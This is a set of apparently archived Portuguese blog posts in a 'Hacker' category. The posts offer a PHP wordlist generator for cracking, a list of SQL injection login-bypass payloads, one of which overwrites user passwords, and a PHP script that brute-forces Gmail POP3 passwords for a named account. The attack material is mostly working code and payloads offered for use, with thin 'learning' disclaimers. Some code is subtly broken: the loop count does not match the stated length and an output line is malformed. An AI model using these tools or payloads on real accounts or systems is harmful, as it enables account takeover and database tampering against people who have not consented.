WordList em PHP para cracks

Maio 8, 2008 on 11:32 am | In Informatica, php, Hacker | No Comments

Bom, pensando no script para brutal Force no gmail que postei fiquei pensando; como podemos gerar uma lista de palavras para que possamos testar o script ? Existem diversas wordlist generator por ae, porém precisamos uma em php que construa e teste; gerar um arquivo TXT é uma lastima, pois fica gigantesto, então nada de pegar pronto, o negocio é gerar na mão.
Mas o que é esse tal de wordlist então ?
Nós podemos chamar de dicionário de palavras, nesta lista terá as palavras inimaginarias e imaginarias para que ao tentar crackear uma conta teste cada palavra como senha, o ideal para está lista seria ter todos as possíveis palavras.

Exemplos:

a, aa, ab, ac, ad ... aaaa, aaab, aaac, aaad ...

Para que possamos testar 1 a 1 e ter certeza que iremos conseguir, mas todas as possibilidades é algo muito grandioso, por isso existem os dicionários de palavras ja prontos, como nosso amigo disponibiliza aqui.

Mas e se quisermos criar uma lista completa em php como fazermos ?

Primeiro vamos definir em uma array todos os caracteres que iremos disponibilizar para teste:

PHP:
  1. $alfa=array("A", "B", "C", "D", "F", "G", "H", "I", "K", "L", "M", "N", "O", "Q", "R", "S", "T", "V", "X", "Y", "Z");
  2. foreach($alfa as $valor){
  3. $passlist[]=strtoupper($valor);
  4. }
  5. foreach($alfa as $valor){
  6. $passlist[]=strtolower($valor);
  7. }
  8. for($i=0;$i<10;$i++){
  9. $passlist[]=$i;
  10. }
  11. $passlist[] = '$';
  12. $passlist[] = '%';
  13. $passlist[] = '&';
  14. $passlist[] = '*';
  15. $passlist[] = '#';

Então como podemos gerar todas as possíveis senhas palavras para 6 caracteres?

PHP:
  1. foreach($passlist as $va0){
  2. foreach($passlist as $va1){
  3. foreach($passlist as $va2){
  4. foreach($passlist as $va3){
  5. foreach($passlist as $va4){
  6. foreach($passlist as $va5){
  7. foreach($passlist as $va6){
  8. echo $va0.$va1.$va2.$va3.$va4.$va5.$va6;
  9. }
  10. }
  11. }
  12. }
  13. }
  14. }
  15. }

Acho que deu para ter uma idéia, esse script é para fins de aprendizado!


SQL Injection Hacks no PHP

Setembro 24, 2007 on 2:21 pm | In Informatica, php, Hacker | 2 Comments

Continuando a diversão de se fazer testes no seu sistema ou se divertir com sistemas de outros segue uma lista de possíveis SQL injections, lembrando que pode-se utilizar tanto no login/senha no form ou como na url quando se utilizam método de $_GET no php, vamos lá:

HTML:
  1. user:admin
  2. pass:' or 1=1--
  3. user:' or 1=1--
  4. admin:' or 1=1--
  5. password:' or 1=1--
  6. admin:' or a=a--
  7. admin:' or 1=1--
  8. admin'--
  9. ' or 0=0 --
  10. " or 0=0 --
  11. or 0=0 --
  12. ' or 0=0 #
  13. " or 0=0 #
  14. or 0=0 #
  15. ' or 'x'='x
  16. " or "x"="x
  17. ') or ('x'='x
  18. ' or 1=1--
  19. " or 1=1--
  20. or 1=1--
  21. ' or a=a--
  22. " or "a"="a
  23. ') or ('a'='a
  24. ") or ("a"="a
  25. hi" or "a"="a
  26. hi" or 1=1 --
  27. hi' or 1=1 --
  28. hi' or 'a'='a
  29. hi') or ('a'='a
  30. hi") or ("a"="a
  31. 1 OR 1=1
  32. 1' OR '1'='1
  33. 1'1
  34. 1 EXEC SP_ (or EXEC XP_)
  35. 1 AND 1=1
  36. 1' AND 1=(SELECT COUNT(*) FROM tablenames); --
  37. " AND user like %name% --
  38. "; select user like %name% --
  39. "; update users set passw = 'newpass' where user like %name% --

Existem diversas outras formas de se fazer ataques e fazer antes pesquisas de versões, match, vetores, mapiamento do mysql e até mesmo com user do mysql interno. Mas por hoje fica a lista por aqui, lembrando que fica por sua conta e risco, isso é somente um informativo...


HACK descobrindo senhas de e-mail

Setembro 10, 2007 on 11:38 am | In Informatica, php, Hacker | 20 Comments

Abrirei uma nova sessão de hacks, não afim de que meus leitores ownem (?) o mundo, mas sim para aprender os hacks de php afim de bolar soluções para se proteger contra isso. Vou começar com um hack para descobrir senhas utilizando BrutalForce no PHP através do POP3 dos emails, não irei explicar o que significa os jargões e como obter informações, sim somente uma demonstração de um código que foi disponibilizado pela Webzine do 0x000000.

Feito o script para o gmail, afim de que vejam que o nome do usuário é o email e por isso ja temos 50% de chance a mais para o hack. O script consegue ser rodado para qualquer tipo de POP3 baseado em SSL, como hotmail e muitos outros pela net.

o Código:

PHP:
  1.  
  2. ini_set("max_execution_time",0);
  3.  
  4.  
  5.  
  6. function bruteforce($email) {
  7.  
  8.  
  9.  
  10. $passlist = array('foo','bar','hello','world','abc','123','bazooka','joe');
  11.  
  12. $start      = 0;
  13.  
  14.  
  15.  
  16. while($forced == false && $start <= count($passlist)) {
  17.  
  18.  
  19.  
  20. usleep(1000000);
  21.  
  22.  
  23.  
  24. $ssl = fsockopen("ssl://pop.gmail.com", 995, $err, $errdata, 40);
  25.  
  26.  
  27.  
  28. if (!$ssl) {
  29.  
  30.  
  31.  
  32. echo "$errdata" . " => " . "$err";
  33.  
  34.  
  35.  
  36. } else {
  37.  
  38.  
  39.  
  40. $auth = fgets($ssl, 128);
  41.  
  42. fputs($ssl, "USER ".$email."\n");
  43.  
  44. $auth = fgets($ssl, 128);
  45.  
  46. fputs($ssl, "PASS ".$passlist[$start]."\n");
  47.  
  48. $auth = fgets($ssl, 128);
  49.  
  50.  
  51.  
  52. $status = substr($auth, 0, 4);
  53.  
  54. if($status == "+OK ") {
  55.  
  56. $forced = true;
  57.  
  58. }
  59.  
  60.  
  61.  
  62. if($status == "-ERR") {
  63.  
  64. $forced = false;
  65.  
  66. $start++;
  67.  
  68. }
  69.  
  70.  
  71.  
  72. fclose ($ssl);
  73.  
  74.  
  75.  
  76. if($forced) {
  77.  
  78. <div style='background-color:lime;font-size:16px;'>Password found: $passlist[$start]</div>
  79. ";
  80.  
  81. }
  82.  
  83. }
  84.  
  85. }
  86.  
  87.  
  88.  
  89. return $forced;
  90.  
  91.  
  92.  
  93. }
  94.  
  95.  
  96.  
  97. bruteforce("bazookajoe@gmail.com");

Fonte : PHP POP3 BruteForcer.



 

 Assine o feed